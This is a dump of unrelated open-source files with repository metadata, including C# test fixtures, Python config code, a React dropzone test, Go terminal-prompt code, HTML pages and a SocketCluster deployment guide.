var request = new Request("GET", "/", new Dictionary<string, IEnumerable<string>>(), memory, "http", sb.ToString());
// Then
((IEnumerable<string>)request.Query.GetDynamicMemberNames()).Count().ShouldEqual(StaticConfiguration.RequestQueryFormMultipartLimit);
}
[Fact]
public void Should_change_empty_path_to_root()
{
var request = new Request("GET", "", "http");
request.Path.ShouldEqual("/");
}
private static RequestStream CreateRequestStream()
{
return CreateRequestStream(new MemoryStream());
}
private static RequestStream CreateRequestStream(Stream stream)
{
return RequestStream.FromStream(stream);
}
private static byte[] BuildMultipartFormValues(params KeyValuePair<string, string>[] values)
{
var boundaryBuilder = new StringBuilder();
foreach (var pair in values)
{
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append("--");
boundaryBuilder.Append("----NancyFormBoundary");
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.AppendFormat("Content-Disposition: form-data; name=\"{0}\"", pair.Key);
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append(pair.Value);
}
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append("------NancyFormBoundary--");
var bytes =
Encoding.ASCII.GetBytes(boundaryBuilder.ToString());
return bytes;
}
private static byte[] BuildMultipartFormValues(Dictionary<string, string> formValues)
{
var pairs =
formValues.Keys.Select(key => new KeyValuePair<string, string>(key, formValues[key]));
return BuildMultipartFormValues(pairs.ToArray());
}
private static byte[] BuildMultipartFileValues(Dictionary<string, Tuple<string, string, string>> formValues)
{
var boundaryBuilder = new StringBuilder();
foreach (var key in formValues.Keys)
{
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append("--");
boundaryBuilder.Append("----NancyFormBoundary");
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.AppendFormat("Content-Disposition: form-data; name=\"{1}\"; filename=\"{0}\"", key, formValues[key].Item3);
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.AppendFormat("Content-Type: {0}", formValues[key].Item1);
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append(formValues[key].Item2);
}
boundaryBuilder.Append('\r');
boundaryBuilder.Append('\n');
boundaryBuilder.Append("------NancyFormBoundary--");
var bytes =
Encoding.ASCII.GetBytes(boundaryBuilder.ToString());
return bytes;
}
}
}
|
151706061/Nancy
|
src/Nancy.Tests/Unit/RequestFixture.cs
|
C#
|
mit
| 24,280
|
"""
@name: Modules/House/Security/login.py
@author: D. Brian Kimmel
@contact: D.BrianKimmel@gmail.com
@copyright: (c) 2019-2020 by D. Brian Kimmel
@note: Created on Jul 23, 2019
@license: MIT License
@summary: Handle logging in.
"""
# Import system type stuff
# Import PyMh files and modules.
from Modules.Core import logging_pyh as Logger
LOG = Logger.getLogger('PyHouse.Security ')
class LoginInformation:
"""
"""
def __init__(self):
self.Name = None # Username
self.Password = None
class LocalConfig:
"""
"""
m_pyhouse_obj = None
def __init__(self, p_pyhouse_obj):
self.m_pyhouse_obj = p_pyhouse_obj
def load_name_password(self, p_config):
"""
"""
l_required = ['Name', 'Password']
l_obj = LoginInformation()
for l_key, l_value in p_config.items():
setattr(l_obj, l_key, l_value)
for l_key in [l_attr for l_attr in dir(l_obj) if not l_attr.startswith('_') and not callable(getattr(l_obj, l_attr))]:
if getattr(l_obj, l_key) == None and l_key in l_required:
LOG.warning('Pandora Yaml is missing an entry for "{}"'.format(l_key))
return l_obj
# ## END DBK
|
DBrianKimmel/PyHouse
|
Project/src/Modules/Core/Config/login.py
|
Python
|
mit
| 1,248
|
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7; IE=EmulateIE9">
<title>no range</title>
<!--[if IE]>
<script type="text/javascript" src="../excanvas.js"></script>
<![endif]-->
<script type="text/javascript" src="../strftime/strftime-min.js"></script>
<script type="text/javascript" src="../rgbcolor/rgbcolor.js"></script>
<script type="text/javascript" src="../dygraph-canvas.js"></script>
<script type="text/javascript" src="../dygraph.js"></script>
</head>
<body>
<p>Line should be visible in the middle of the chart:</p>
<div id="blah"></div>
<p>Line should be visible ~90% up the chart:</p>
<div id="blah2"></div>
<script type="text/javascript">
new Dygraph(document.getElementById("blah"),
"X,Y\n10,12345\n11,12345\n",
{ width: 640, height: 480 });
new Dygraph(document.getElementById("blah2"),
"date,10M\n" +
"20021229,10000000.000000\n" +
"20030105,10000000.000000\n" +
"20030112,10000000.000000\n" +
"20030119,10000000.000000\n" +
"20030126,10000000.000000\n" +
"20030202,10000000.000000\n" +
"20030209,10000000.000000\n" +
"20030216,10000000.000000\n",
{ width: 640, height: 480, includeZero: true, labelsKMB: true });
</script>
</body>
</html>
|
sanderpick/dygraphs
|
tests/no-range.html
|
HTML
|
mit
| 1,322
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>
Ingest Processing Workflow - Greg Wiedeman
</title>
<meta name="description" content="Ingest and Processing Workflow scripts for born-digital accessions and digitized derivatives.">
<link href='https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic' rel='stylesheet' type='text/css'>
<link href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800' rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="/assets/vendor/bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="/assets/vendor/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="/assets/main.css">
<link rel="canonical" href="http://localhost:4000/code/ingestProcessing.html">
<link rel="alternate" type="application/rss+xml" title="Greg Wiedeman" href="/feed.xml">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-expand-lg navbar-light fixed-top" id="mainNav">
<div class="container">
<a class="navbar-brand" href="/">Greg Wiedeman</a>
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
Menu
<i class="fa fa-bars"></i>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="/about">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/writing">Writing</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/presentations">presentations</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/code">Code</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/cv">CV</a>
</li>
</ul>
</div>
</div>
</nav>
<p>Ingest and Processing Workflow scripts for born-digital accessions and digitized derivatives.</p>
<!-- Footer -->
<hr>
<footer>
<div class="container">
<div class="row">
<div class="col-lg-8 col-md-10 mx-auto">
<ul class="list-inline text-center">
<li class="list-inline-item">
<a href="mailto:gwiedeman@albany.edu">
<span class="fa-stack fa-lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="far fa-envelope fa-stack-1x fa-inverse"></i>
</span>
</a>
</li>
<li class="list-inline-item">
<a href="https://twitter.com/gregwiedeman">
<span class="fa-stack fa-lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="fab fa-twitter fa-stack-1x fa-inverse"></i>
</span>
</a>
</li>
<li class="list-inline-item">
<a href="https://github.com/gwiedeman">
<span class="fa-stack fa-lg">
<i class="fas fa-circle fa-stack-2x"></i>
<i class="fab fa-github fa-stack-1x fa-inverse"></i>
</span>
</a>
</li>
</ul>
<p class="copyright text-muted">
Copyright © Gregory Wiedeman 2022
</p>
<p class="copyright text-muted">
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
</p>
</div>
</div>
</div>
</footer>
<script src="/assets/vendor/jquery/jquery.min.js"></script>
<script src="/assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="/assets/vendor/startbootstrap-clean-blog/js/clean-blog.min.js"></script>
<script src="/assets/scripts.js"></script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id="></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', '');
</script>
</body>
</html>
|
gwiedeman/gwiedeman.github.io
|
_site/code/ingestProcessing.html
|
HTML
|
mit
| 4,529
|
# Copyright (c) 2013 Nicolas Dandrimont <nicolas.dandrimont@crans.org>
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
from hy.errors import HyError
class LexException(HyError):
"""Error during the Lexing of a Hython expression."""
pass
class PrematureEndOfInput(LexException):
"""We got a premature end of input"""
pass
|
hcarvalhoalves/hy
|
hy/lex/exceptions.py
|
Python
|
mit
| 1,352
|
module Demoable
class AccessResource < ActiveResource::Base
self.site = Demoable.master_site
self.element_name = "access_codes"
end
end
|
mlohstroh/demoable
|
app/models/demoable/access_resource.rb
|
Ruby
|
mit
| 147
|
using System.Collections;
using Backgammon.Framework.Enumerations;
using Backgammon.Framework.Interfaces;
namespace Backgammon.Framework.Constants
{
public static class Setup
{
public static readonly IPosition[] Positions =
{
new Position(20, 10),
new Position(40, 17),
new Position(37, 17),
new Position(34, 17),
new Position(31, 17),
new Position(28, 17),
new Position(25, 17),
new Position(17, 17),
new Position(14, 17),
new Position(11, 17),
new Position(08, 17),
new Position(05, 17),
new Position(02, 17),
new Position(02, 04),
new Position(05, 04),
new Position(08, 04),
new Position(11, 04),
new Position(14, 04),
new Position(17, 04),
new Position(25, 04),
new Position(28, 04),
new Position(31, 04),
new Position(34, 04),
new Position(37, 04),
new Position(40, 04),
new Position(20, 11)
};
public static readonly Direction[] Directions =
{
Direction.None,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Up,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.Down,
Direction.None
};
public static readonly Color[] ColorsOfCheckers =
{
Color.Blue,
Color.Blue,
Color.None,
Color.None,
Color.None,
Color.None,
Color.Red,
Color.None,
Color.Red,
Color.None,
Color.None,
Color.None,
Color.Blue,
Color.Red,
Color.None,
Color.None,
Color.None,
Color.Blue,
Color.None,
Color.Blue,
Color.None,
Color.None,
Color.None,
Color.None,
Color.Red,
Color.Red
};
public static readonly int[] NumbersOfCheckers =
{
0,
2,
0,
0,
0,
0,
5,
0,
3,
0,
0,
0,
5,
5,
0,
0,
0,
3,
0,
5,
0,
0,
0,
0,
2,
0
};
public static readonly int[] Borders =
{
1,
18,
24,
41
};
public static readonly int[] Dice =
{
0,
0,
0,
0
};
public static readonly IPosition StartingPosition = new Position(40, 10);
public const Movement StartingMovement = Movement.RollDice;
}
}
|
Arjestin/code-value-course
|
Backgammon.Ver2/Backgammon.Framework/Constants/Setup.cs
|
C#
|
mit
| 3,658
|
package org.syxc.zhihudaily.model;
/**
* 最新消息
* Created by syxc on 16/1/7.
*/
public final class LatestNews {
}
|
syxc/ZhihuDaily-Android
|
app/src/main/java/org/syxc/zhihudaily/model/LatestNews.java
|
Java
|
mit
| 124
|
// Regular expression that matches all symbols in the Tifinagh block as per Unicode v6.3.0:
/[\u2D30-\u2D7F]/;
|
mathiasbynens/unicode-data
|
6.3.0/blocks/Tifinagh-regex.js
|
JavaScript
|
mit
| 110
|
package FileChooser_7;
import javafx.fxml.FXML;
import javafx.scene.Node;
import javafx.scene.control.*;
import javafx.stage.FileChooser;
import javafx.stage.Window;
import java.io.File;
/**
* Created by akshayrajgollahalli on 15/08/15.
*/
public class controller{
@FXML
private TextField myText;
@FXML
private Button browse;
@FXML
private void initialize(){
// print on GUI
browse.setOnAction((event) -> {
FileChooser fileChooser = new FileChooser();
File file = fileChooser.showOpenDialog(((Node) event.getTarget()).getScene().getWindow());
String fileName = String.valueOf(file);
myText.setText(fileName);
});
}
}
|
akshaybabloo/JavaFX
|
src/FileChooser_7/controller.java
|
Java
|
mit
| 732
|
import { ReactElement, ReactNode } from "react";
import cn from "classnames";
import { fireEvent, render } from "@testing-library/react";
import { DropzoneHanders, useDropzone } from "../useDropzone";
function Test({
children,
...options
}: DropzoneHanders<HTMLElement> & { children?: ReactNode }): ReactElement {
const [isOver, handlers] = useDropzone(options);
return (
<div data-testid="dropzone" {...handlers} className={cn(isOver && "over")}>
{children}
</div>
);
}
describe("useDropzone", () => {
it("should work correctly", () => {
const onDragOver = jest.fn();
const onDragEnter = jest.fn();
const onDragLeave = jest.fn();
const onDrop = jest.fn();
const { getByTestId } = render(
<Test
onDragLeave={onDragLeave}
onDragEnter={onDragEnter}
onDragOver={onDragOver}
onDrop={onDrop}
/>
);
const dropzone = getByTestId("dropzone");
expect(dropzone).not.toHaveClass("over");
expect(onDragOver).not.toBeCalled();
expect(onDragEnter).not.toBeCalled();
expect(onDragLeave).not.toBeCalled();
expect(onDrop).not.toBeCalled();
fireEvent.dragEnter(dropzone);
expect(dropzone).toHaveClass("over");
expect(onDragOver).not.toBeCalled();
expect(onDragEnter).toBeCalled();
expect(onDragLeave).not.toBeCalled();
expect(onDrop).not.toBeCalled();
fireEvent.dragLeave(dropzone);
expect(dropzone).not.toHaveClass("over");
expect(onDragOver).not.toBeCalled();
expect(onDragEnter).toBeCalled();
expect(onDragLeave).toBeCalled();
expect(onDrop).not.toBeCalled();
fireEvent.dragOver(dropzone);
expect(dropzone).toHaveClass("over");
expect(onDragOver).toBeCalled();
expect(onDragEnter).toBeCalled();
expect(onDragLeave).toBeCalled();
expect(onDrop).not.toBeCalled();
fireEvent.drop(dropzone);
expect(dropzone).not.toHaveClass("over");
expect(onDragOver).toBeCalled();
expect(onDragEnter).toBeCalled();
expect(onDragLeave).toBeCalled();
expect(onDrop).toBeCalled();
});
it("should prevent default and stop propagation", () => {
const onDragOver = jest.fn();
const onDragEnter = jest.fn();
const onDragLeave = jest.fn();
const onDrop = jest.fn();
const { getByTestId } = render(
<div
data-testid="container"
onDragLeave={onDragLeave}
onDragEnter={onDragEnter}
onDragOver={onDragOver}
onDrop={onDrop}
>
<Test />
</div>
);
const dropzone = getByTestId("dropzone");
fireEvent.dragEnter(dropzone);
fireEvent.dragLeave(dropzone);
fireEvent.dragOver(dropzone);
fireEvent.drop(dropzone);
expect(onDragOver).not.toBeCalled();
expect(onDragEnter).not.toBeCalled();
expect(onDragLeave).not.toBeCalled();
expect(onDrop).not.toBeCalled();
});
it("should not disable the isOver state if a dragleave event is called on a child element", () => {
const { getByTestId } = render(
<Test>
<div data-testid="child1" />
<div data-testid="child2" />
</Test>
);
const dropzone = getByTestId("dropzone");
const child1 = getByTestId("child1");
const child2 = getByTestId("child2");
expect(dropzone).not.toHaveClass("over");
fireEvent.dragEnter(dropzone);
expect(dropzone).toHaveClass("over");
fireEvent.dragOver(child1);
expect(dropzone).toHaveClass("over");
fireEvent.dragLeave(child1);
expect(dropzone).toHaveClass("over");
fireEvent.dragOver(child2);
expect(dropzone).toHaveClass("over");
fireEvent.dragLeave(dropzone);
expect(dropzone).not.toHaveClass("over");
});
});
|
mlaursen/react-md
|
packages/utils/src/__tests__/useDropzone.tsx
|
TypeScript
|
mit
| 3,687
|
# SCC Guide
SCC is a collection of services which allow you to easily deploy and scale SocketCluster to any number of machines (almost any number, see Notes at the bottom of this page).
SCC is designed to scale linearly and is optimized for running on Kubernetes but it can be setup without using an orchestrator.
SCC is made up of the following services:
- socketcluster https://github.com/SocketCluster/socketcluster
- sc-cluster-broker-server https://github.com/SocketCluster/sc-cluster-state-server
- sc-cluster-state-server https://github.com/SocketCluster/sc-cluster-broker-server
- sc-ingress (Kubernetes only)
## How it works
The **socketcluster** service can be made up of any number of regular SocketCluster instances - The main difference between running **socketcluster** as a single instance vs running it as a cluster is
that in cluster mode, you need to point each **socketcluster** instance to a working `sc-cluster-state-server` (state server) instance. Note that when you run **socketcluster** in this mode and the state server goes down, the **socketcluster** instance will keep trying to reconnect to the state server (and you might get some `Socket hung Up` errors until the state server becomes available again).
The **sc-cluster-broker-server** (scc-broker) service can be made up of any number of **sc-cluster-broker-server** instances - This is a special backend-only service which is designed to broker
messages between multiple frontend-facing **socketcluster** instances. All the pub/sub channels in your entire system will be sharded evenly across available **sc-cluster-broker-server** instances.
Just like with the **socketcluster** instances above, each **sc-cluster-broker-server** instance needs to point to a state server in order to work.
The **sc-cluster-state-server** (scc-state) service is made up of a single instance - Its job is to dispatch the state of the cluster to all interested services to allow them to reshard themselves. The **sc-cluster-state-server** instance will notify all frontend **socketcluster** instances whenever new backend **sc-cluster-broker-server** joins the cluster. This allows **socketcluster** instances to rebalance their pub/sub channels evenly across available brokers whenever a new **sc-cluster-broker-server** instance joins the cluster.
## Running on Kubernetes
Running on Kubernetes (K8s) is easy; you just need to run all the `.yaml` files from the `kubernetes/` directory from the https://github.com/SocketCluster/socketcluster repo using the `kubectl` command (one at a time):
```
kubectl create -f <service-deployment-or-ingress-definition.yaml>
```
By default, you should also add a TLS/SSL key and cert pair to your provider (Rancher has a page were you can just paste them in).
Or if you don't want to use a certificate (not recommended), you can just delete these lines from `scc-ingress.yaml` before you create it with `kubectl`:
```
tls:
- secretName: scc-tls-credentials
```
If you want to try SCC on K8s, the simplest way to get started is to sign up to a free trial account on http://baasil.io
## Running using Node.js directly
You can also run SCC using only Node.js version >= 6.x.x.
For simplicity, we will show you how to run everything on your localhost (`127.0.0.1`), but in practice, you will need to change `127.0.0.1` to an appropriate IP, host name or domain name.
First, you need to download each repository to your machine(s) (E.g. `git clone`).
Then inside each repo, you should run `npm install` without any arguments to install dependencies.
Then you should launch the state server first by going inside your local **sc-cluster-state-server** repo and then running the command:
```
node server
```
Next, to launch a broker, you should navigate to your **sc-cluster-broker-server** repo and run the command:
```
SCC_STATE_SERVER_HOST='127.0.0.1' SOCKETCLUSTER_SERVER_PORT='8888' node server
```
Finally, to run a frontend-facing SocketCluster instance, you can navigate to your **socketcluster** repo and run:
```
SCC_STATE_SERVER_HOST='127.0.0.1' SOCKETCLUSTER_PORT='8000' node server
```
You can add a second frontend-facing server by running (this time running on port 8001):
```
SCC_STATE_SERVER_HOST='127.0.0.1' SOCKETCLUSTER_PORT='8000' node server
```
Now if you navigate to either `localhost:8000` or `localhost:8001` in your browser, you should see that your pub/sub channels are shared between the two **socketcluster** instances.
Note that you can provide additional environment variables to various instances to set custom post numbers, passwords etc...
For more info, you can look inside the code in the `server.js` file in each repo and see what `process.env` vars are used.
When running multiples instances of any service on the same machine, make sure that the ports don't clash - Modify the `SOCKETCLUSTER_SERVER_PORT` or `SOCKETCLUSTER_PORT` environment variable for each instance to make sure that they are unique.
## Notes
You should only ever run a single **sc-cluster-state-server** per cluster - This is currently a single point of failure (we plan to improve it at some point).
For this reason, it is recommended that you run this instance inside your datacenter/AWS availability zone and do not expose it to the public internet.
The **sc-cluster-state-server** instance does not handle any pub/sub messages and so it should not affect scalability of your cluster (it will scale linearly).
While you cannot currently scale your state server instances horizontally, it can easily be scaled vertically across multiple CPU cores.
You can have approximately 3000 machines in your cluster for every CPU core of **sc-cluster-state-server** - So if you run your state server on a 16-core machine, then your cluster should be able to support up to 48K hosts - Which is far above the Kubernetes limit of 1K hosts.
Note that you can launch the services in any order you like but if your state server crashes, you may get `Socket hung up` errors on other instances (while they keep trying to reconnect).
|
Stoneski93/GymDiary
|
node_modules/socketcluster/scc-guide.md
|
Markdown
|
mit
| 6,061
|
// Copyright 2016 The go-okcoin Authors
// This file is part of the go-okcoin library.
//
// The go-okcoin library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// The go-okcoin library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with the go-okcoin library. If not, see <http://www.gnu.org/licenses/>.
package console
import (
"fmt"
"strings"
"github.com/peterh/liner"
)
// Stdin holds the stdin line reader (also using stdout for printing prompts).
// Only this reader may be used for input because it keeps an internal buffer.
var Stdin = newTerminalPrompter()
// UserPrompter defines the methods needed by the console to promt the user for
// various types of inputs.
type UserPrompter interface {
// PromptInput displays the given prompt to the user and requests some textual
// data to be entered, returning the input of the user.
PromptInput(prompt string) (string, error)
// PromptPassword displays the given prompt to the user and requests some textual
// data to be entered, but one which must not be echoed out into the terminal.
// The method returns the input provided by the user.
PromptPassword(prompt string) (string, error)
// PromptConfirm displays the given prompt to the user and requests a boolean
// choice to be made, returning that choice.
PromptConfirm(prompt string) (bool, error)
// SetHistory sets the the input scrollback history that the prompter will allow
// the user to scroll back to.
SetHistory(history []string)
// AppendHistory appends an entry to the scrollback history. It should be called
// if and only if the prompt to append was a valid command.
AppendHistory(command string)
// ClearHistory clears the entire history
ClearHistory()
// SetWordCompleter sets the completion function that the prompter will call to
// fetch completion candidates when the user presses tab.
SetWordCompleter(completer WordCompleter)
}
// WordCompleter takes the currently edited line with the cursor position and
// returns the completion candidates for the partial word to be completed. If
// the line is "Hello, wo!!!" and the cursor is before the first '!', ("Hello,
// wo!!!", 9) is passed to the completer which may returns ("Hello, ", {"world",
// "Word"}, "!!!") to have "Hello, world!!!".
type WordCompleter func(line string, pos int) (string, []string, string)
// terminalPrompter is a UserPrompter backed by the liner package. It supports
// prompting the user for various input, among others for non-echoing password
// input.
type terminalPrompter struct {
*liner.State
warned bool
supported bool
normalMode liner.ModeApplier
rawMode liner.ModeApplier
}
// newTerminalPrompter creates a liner based user input prompter working off the
// standard input and output streams.
func newTerminalPrompter() *terminalPrompter {
p := new(terminalPrompter)
// Get the original mode before calling NewLiner.
// This is usually regular "cooked" mode where characters echo.
normalMode, _ := liner.TerminalMode()
// Turn on liner. It switches to raw mode.
p.State = liner.NewLiner()
rawMode, err := liner.TerminalMode()
if err != nil || !liner.TerminalSupported() {
p.supported = false
} else {
p.supported = true
p.normalMode = normalMode
p.rawMode = rawMode
// Switch back to normal mode while we're not prompting.
normalMode.ApplyMode()
}
p.SetCtrlCAborts(true)
p.SetTabCompletionStyle(liner.TabPrints)
p.SetMultiLineMode(true)
return p
}
// PromptInput displays the given prompt to the user and requests some textual
// data to be entered, returning the input of the user.
func (p *terminalPrompter) PromptInput(prompt string) (string, error) {
if p.supported {
p.rawMode.ApplyMode()
defer p.normalMode.ApplyMode()
} else {
// liner tries to be smart about printing the prompt
// and doesn't print anything if input is redirected.
// Un-smart it by printing the prompt always.
fmt.Print(prompt)
prompt = ""
defer fmt.Println()
}
return p.State.Prompt(prompt)
}
// PromptPassword displays the given prompt to the user and requests some textual
// data to be entered, but one which must not be echoed out into the terminal.
// The method returns the input provided by the user.
func (p *terminalPrompter) PromptPassword(prompt string) (passwd string, err error) {
if p.supported {
p.rawMode.ApplyMode()
defer p.normalMode.ApplyMode()
return p.State.PasswordPrompt(prompt)
}
if !p.warned {
fmt.Println("!! Unsupported terminal, password will be echoed.")
p.warned = true
}
// Just as in Prompt, handle printing the prompt here instead of relying on liner.
fmt.Print(prompt)
passwd, err = p.State.Prompt("")
fmt.Println()
return passwd, err
}
// PromptConfirm displays the given prompt to the user and requests a boolean
// choice to be made, returning that choice.
func (p *terminalPrompter) PromptConfirm(prompt string) (bool, error) {
input, err := p.Prompt(prompt + " [y/N] ")
if len(input) > 0 && strings.ToUpper(input[:1]) == "Y" {
return true, nil
}
return false, err
}
// SetHistory sets the the input scrollback history that the prompter will allow
// the user to scroll back to.
func (p *terminalPrompter) SetHistory(history []string) {
p.State.ReadHistory(strings.NewReader(strings.Join(history, "\n")))
}
// AppendHistory appends an entry to the scrollback history.
func (p *terminalPrompter) AppendHistory(command string) {
p.State.AppendHistory(command)
}
// ClearHistory clears the entire history
func (p *terminalPrompter) ClearHistory() {
p.State.ClearHistory()
}
// SetWordCompleter sets the completion function that the prompter will call to
// fetch completion candidates when the user presses tab.
func (p *terminalPrompter) SetWordCompleter(completer WordCompleter) {
p.State.SetWordCompleter(liner.WordCompleter(completer))
}
|
ManyCoin/ManyCoin
|
console/prompter.go
|
GO
|
mit
| 6,282
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("9.3. Code Tuning and Optimization")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("9.3. Code Tuning and Optimization")]
[assembly: AssemblyCopyright("Copyright © 2014")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("98683e18-4115-403f-9752-78ea6da83778")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
|
svetlai/TelerikAcademy
|
Programming-with-C#/High-Quality-Code/09-Code-Tuning-and-Optimization/03-CompareAdvancedMaths/Properties/AssemblyInfo.cs
|
C#
|
mit
| 1,442
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_45) on Thu Apr 13 10:29:48 EDT 2017 -->
<title>V-Index</title>
<meta name="date" content="2017-04-13">
<link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style">
<script type="text/javascript" src="../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="V-Index";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../overview-summary.html">Overview</a></li>
<li>Package</li>
<li>Class</li>
<li><a href="../overview-tree.html">Tree</a></li>
<li><a href="../deprecated-list.html">Deprecated</a></li>
<li class="navBarCell1Rev">Index</li>
<li><a href="../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="index-15.html">Prev Letter</a></li>
<li><a href="index-17.html">Next Letter</a></li>
</ul>
<ul class="navList">
<li><a href="../index.html?index-files/index-16.html" target="_top">Frames</a></li>
<li><a href="index-16.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="contentContainer"><a href="index-1.html">A</a> <a href="index-2.html">C</a> <a href="index-3.html">D</a> <a href="index-4.html">F</a> <a href="index-5.html">G</a> <a href="index-6.html">H</a> <a href="index-7.html">I</a> <a href="index-8.html">L</a> <a href="index-9.html">M</a> <a href="index-10.html">N</a> <a href="index-11.html">O</a> <a href="index-12.html">R</a> <a href="index-13.html">S</a> <a href="index-14.html">T</a> <a href="index-15.html">U</a> <a href="index-16.html">V</a> <a href="index-17.html">W</a> <a name="I:V">
<!-- -->
</a>
<h2 class="title">V</h2>
<dl>
<dt><span class="memberNameLink"><a href="../textfile/textFileController.html#validate--">validate()</a></span> - Method in class textfile.<a href="../textfile/textFileController.html" title="class in textfile">textFileController</a></dt>
<dd> </dd>
</dl>
